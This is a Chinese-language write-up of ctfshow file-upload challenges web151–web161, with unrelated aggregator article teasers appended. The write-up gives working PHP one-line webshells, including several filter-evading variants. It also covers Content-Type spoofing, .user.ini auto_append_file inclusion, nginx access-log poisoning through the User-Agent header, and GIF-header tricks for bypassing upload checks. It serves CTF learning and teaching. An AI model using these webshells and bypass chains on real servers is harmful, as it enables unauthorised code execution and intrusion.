ctfshow-文件上传(web151-web161)

目录

web151

web152

web153

web154

web155

web156

web157

web158

web159

web160

web161 


web151

提示前台验证不可靠 那限制条件估计就是在前端设置的

上传php小马后 弹出了窗口说不支持的格式

查看源码

这一条很关键 这种不懂直接ai搜 意思就是限制了上传类型 允许的后缀格式为png 

我们直接修改并且上传小马

给出了上传路径 访问传参即可 得出flag

方法二 因为是前端验证嘛 

修改小马后缀为png bp抓包修改回来也可以

web152

提示后端管的严

就算把前端允许的格式修改为php也不行 后端返回个报错信息 文件类型不允许

抓包修改类型为PNG

Content-Type: application/octet-stream

修改为

Content-Type: image/png

成功

获取flag

web153

依旧显示文件类型不合规

修改类型不行了

修改后缀也不行 那么估计就是对文件内容进行检测了 在文件的内容前加入PNG头标识也不行 

可能即使后端判断后缀太严格只要是.php就不行

发现upload下有个index.php文件 那就可以使用.user.ini的方式了

php.ini是php的配置文件 定义全局的 .user.ini也是配置文件作用与目录的 优先级比全局配置文件高 前提是当前目录下有php文件 那么在.user.ini配置文件定义当前目录所有php文件包含一个指定的php文件 即可 但是这个指定的php文件也需要我们上传 我们无法上传php 才想到的.user.ini 所以包含一个txt文件也可以的 只要是txt文件内容是php内容 文件包含过来就会解析txt里面的php内容

首先上传.user.ini文件 内容为auto_append_file=1.txt

首先就是前端允许类型为ini这样通过前端 后端修改类型为image/png通过后端 要记得在user.ini前增加一个. 必须在bp中增加(在本地.开头可能会不让) 因为全称就是.user.ini 

上传txt文件

依旧是先绕过前端 后端文件类型修改为image/png

访问/upload即可 并传入post参数为我们的命令

web154

以上一题的方法试一下

.user.ini文件成功上传

但是txt文件上传失败说是文件内容不可以

经过测试只要是文件中存在php就不可以

使用php短标签格式即可

获取flag

web155

同web154

使用蚁剑连接查看过滤源码发现 确实过滤了php并且过滤文件的内容 以及判断类型

web156

同web154

区别文件内容又过滤了[] 导致小马不能用 换成{}即可

 <?=eval($_POST[1]);?> 

 <?=eval($_POST{1});?> 

注意 判断过滤什么 使用二分法 一半一半测试

web157

同web154

额外多过滤了{}以及;号  不影响直接删除即可

因为 在php中最后一个;可以不用写

上一题去除分号即可

{}问题如何解决 多学一个姿势POST不给参数也可以

一句话木马为 <?=eval(array_pop($_POST));?> 

去除分号<?=eval(array_pop($_POST))?> 

意思就是弹出post最后一对键值对的值 从而php解析这个值 从而达到执行命令

web158

使用web157即可

web159

文件内容()不让用了 那就不能写一句话木马了

还有什么方式呢 那就是 首先ini文件包含一个1.txt文件 1.txt文件的php内容为包含U-A日志文件 

/var/log/nginx/access.log 然后U-A 添加一句话木马 即可 这个log也被过滤了 使用 . 拼接即可

.user.ini 内容为 auto_append_file=1.txt

1.txt内容为 <?=include '/var/l'.'og/nginx/access.l'.'og'?>

添加U-A值 <?php eval($_POST[1]); ?>

目前来说日志确实被包含了  但是内容太多 手动执行命令不好找  并且也不确定一句话是否被写入日志中 使用蚁剑连接测试即可

成功

找到了flag

既然已经使用蚁剑进行连接了 那就看看这几关后端是怎么过滤的吧

后端过滤脚本

可以看到文件内容过滤了 php ( [ { ; log 

并且验证文件类型是否为image/png 以及后缀是否是php

web160

文件内容过滤了空格 很容易我们将空格换成换行符0a即可 不能再post中直接写%0a 那个url的写法  先用1进行占位 再hex中找到1对应的31 修改为0a即可

web161 

经过bp测试 不让上传ini后缀的文件了 txt也不行 png也不行 估计是白名单?

我重新来 直接在页面中上传png图片 结果也说图片不合规 这是啥都不让上传?

真有意思前端允许类型是png 后端却不可以了

经过测试 后缀只要不是php就可以 文件类型必须要是png 文件头内容必须是GIF头(并且光有头不行 还必须要有内容)

既然知道这样了 按照上一题

上传.user.ini  内容为 auto_append_file=1.txt

上传1.txt内容为 <?=include '/var/l'.'og/nginx/access.l'.'og'?>(过滤了空格 记得替换09等)

添加U-A值 <?php eval($_POST[1]); ?>

并且文件内容前必须要加上GIF的头字段(我查看源码也不明白原因 有个函数获取该文件大小 也就是说 文件头要和文件对应 才会返回真 这个GIF文件头组合任意内容 该函数都会返回真 这是我的理解)

确定包含日志

蚁剑连接成功确实 木马写入 查找flag

在这里说一下 这些题目都是再上一题的基础上再增加过滤条件的 所以就是上一关禁用的 下一关也会被禁用 

先发到web161 之后的需要vps长地址 目前弄不出来长地址 导致只能做到这

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/680095.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ubuntu Desktop - Files Preferences

Ubuntu Desktop - Files Preferences 1. Behavior2. ViewsReferences 1. Behavior Go to file browser’s Menu -> Edit -> Preferences -> Behavior 2. Views Go to file browser’s Menu -> Edit -> Preferences -> Views ​​​ References [1] Yong…

EMC学习笔记(二十五)降低EMI的PCB设计指南(五)

线缆和连接器 1 差模和共模噪声2 串扰3 返回路径数量4 外部PCB -IO 布局建议5 防止噪音和静电放电 tips&#xff1a;资料主要来自网络&#xff0c;仅供学习使用。 设计良好的两层板&#xff0c;和大多数四层板&#xff0c;有最小的辐射。系统级的问题是由于将PCB与任何板外支持…

vector容器

1. vector基本概念 1.1 功能&#xff1a; vector数据结构和数组非常相似&#xff0c;也称为单端数组 vector与普通数组区别&#xff1a; 不同之处在于数组是静态空间&#xff0c;而vector可以动态扩展 动态扩展&#xff1a; 并不是在原空间之后续接新空间&#xff0c;而是找更…

视频讲解:优化柱状图

你好&#xff0c;我是郭震 AI数据可视化 第三集&#xff1a;美化柱状图&#xff0c;完整视频如下所示&#xff1a; 美化后效果前后对比&#xff0c;前&#xff1a; 后&#xff1a; 附完整案例源码&#xff1a; util.py文件 import platformdef get_os():os_name platform.syst…

方舟基金:若美机构按最大夏普率配置比特币,则有望将其推升至230-250万美元...

号外&#xff1a;教链内参2.12《方舟基金重磅报告〈大胆想象2024〉全文pdf》 方舟基金&#xff08;Ark Invest&#xff09;的木头姐&#xff08;Cathie Wood&#xff09;是业内的老熟人了。她一向以大胆的预测而著称。比如就在2023年10月份&#xff0c;木头姐在采访中就曾直言&…

MIT-BEVFusion系列七--量化2_Camera、Fuser、Decoder网络的量化

目录 Camera 量化Camera Backbone (Resnet50) 量化替换量化层&#xff0c;增加residual_quantizer&#xff0c;修改bottleneck的前向对 Add 操作进行量化 Camera Neck (GeneralizedLSSFPN) 量化将 Conv2d 模块替换为 QuantConv2d 模块Camera Neck 中添加对拼接操作的量化替换 C…

STM32自学☞对射式红外传感器计数

infrared_count.c文件 /* 编写步骤 一、初始化函数 1.开启GPIO、AFIO时钟 (NVIC和EXIT不需要开启&#xff0c;因为EXIT时钟一直处于开启状态&#xff0c;而NVIC是内核里的外设和CPU处在一起且RCC管理的是内核外的外设&#xff0c;综上所述&#xff0c;所以不用开启) 2.配…

【机器学习】卷积和反向传播

一、说明 自从 AlexNet 在 2012 年赢得 ImageNet 竞赛以来&#xff0c;卷积神经网络 (CNN) 就变得无处不在。从不起眼的 LeNet 到 ResNets 再到 DenseNets&#xff0c;CNN 无处不在。 您是否想知道 CNN 的反向传播中会发生什么&#xff0c;特别是反向传播在 CNN 中的工作原理。…

Stream流学习笔记

Stream流 创建流中间操作1、filter2、map3、distinct4、sorted5、limit6、skip7、flatMap 终结操作1、forEach2、count3、max&min4、collect5、查找与匹配 创建流 单例集合&#xff1a;集合对象.stream() List<Integer> list new ArrayList<>(); Stream<…

C语言:详解操作符(下)

上一篇链接&#xff1a;C语言&#xff1a;详解操作符&#xff08;上&#xff09;摘要&#xff1a; 在上篇文章中&#xff0c;我们已经讲过位操作符等涉及二进制的操作符&#xff0c;这些有助于帮助我们后期理解数据如何在计算机中运算并存储&#xff0c;接下来本篇将更多的讲述…

mac docker 宿主机和容器间网络打通

动因 是这样&#xff0c;笔者最近满怀欣喜入手Docker&#xff0c;看着各种文章命令都是不断点头称道&#xff1a;“嗯嗯&#xff0c;不错不错”,在接下来终于准备大干一场的时候碰壁了&#xff0c;主要情况是说在Mac中跑了第一把的时候发现碰到&#xff0c;虚拟机和宿主机居然…

CentOS7下如何安装Nginx

一、Ngxin是什么 Nginx是一个开源的 Web 服务器&#xff0c;具有反向代理、负载均衡、缓存等功能。它可以作为 HTTP 服务器&#xff0c;将服务器上的静态文件&#xff08;如 HTML、图片&#xff09;通过 HTTP 协议展现给客户端&#xff0c;也可以实现动静分离&#xff0c;把动态…

【后端高频面试题--Nginx篇】

&#x1f680; 作者 &#xff1a;“码上有前” &#x1f680; 文章简介 &#xff1a;后端高频面试题 &#x1f680; 欢迎小伙伴们 点赞&#x1f44d;、收藏⭐、留言&#x1f4ac; 后端高频面试题--Nginx篇 什么是Nginx&#xff1f;为什么要用Nginx&#xff1f;为什么Nginx性能…

FAST角点检测算法

FAST&#xff08;Features from Accelerated Segment Test&#xff09;角点检测算法是一种快速且高效的角点检测方法。它通过检测每个像素周围的连续像素集合&#xff0c;确定是否为角点。以下是 FAST 角点检测算法的基本流程&#xff1a; FAST 角点检测算法的基本过程主要包括…

精读《Web Components 的困境》

本期精读的文章是&#xff1a;The broken promise of Web Components 以及对这篇文章的回应: Regarding the broken promise of Web Components 1 引言 我为什么要选这篇文章呢&#xff1f; 就在前几天的 Google I/O 2017 上, Polymer 正式发布了 Polymer 2.0 版本. 来看…

HTTP基本概念-HTTP 是什么?

资料来源 : 小林coding 小林官方网站 : 小林coding (xiaolincoding.com) HTTP 是什么? HTTP 是超文本传输协议&#xff0c;也就是HyperText Transfer Protocol。 能否详细解释「超文本传输协议」? HTTP 的名字「超文本协议传输」&#xff0c;它可以拆成三个部分: 超文本传输…

pycharm控制STM32F103ZET6拍照并上位机接收显示(OV7670、照相机、STM32、TFTLCD)

基于STM32的照相机 准备工作最终效果一、下位机1、主函数2、OV7670初始化 二、上位机1、控制拍照2、接收图片数据 三、资源获取 准备工作 一、硬件及片上资源: 1,串口1(波特率:921600,PA9/PA10通过usb转ttl连接电脑&#xff0c;或者其他方法)上传图片数据至上位机 2,串口2(波特…

Java语法学习反射

Java语法学习反射 大纲 基本介绍class的介绍 具体案例 1. 基本介绍 流程图&#xff08;程序在计算机的阶段&#xff09; 反射的主要的类 这个提高效率不大 2. class的介绍 对于第三点&#xff1a;首先类只会加载一次&#xff0c;得到的class的对象&#xff0c;也只有一…

Linux第52步_移植ST公司的linux内核第4步_关闭内核模块验证和log信息时间戳_编译_并通过tftp下载测试

1、采用程序配置关闭“内核模块验证” 默认配置文件“stm32mp1_atk_defconfig”路径为“arch/arm/configs”; 使用VSCode打开默认配置文件“stm32mp1_atk_defconfg”&#xff0c;然后将下面的4条语句屏蔽掉&#xff0c;如下&#xff1a; CONFIG_MODULE_SIGy CONFIG_MODULE_…

【C语言】实现双向链表

目录 &#xff08;一&#xff09;头文件 &#xff08;二&#xff09; 功能实现 &#xff08;1&#xff09;初始化 &#xff08;2&#xff09;打印链表 &#xff08;3&#xff09; 头插与头删 &#xff08;4&#xff09;尾插与尾删 &#xff08;5&#xff09;指定位置之后…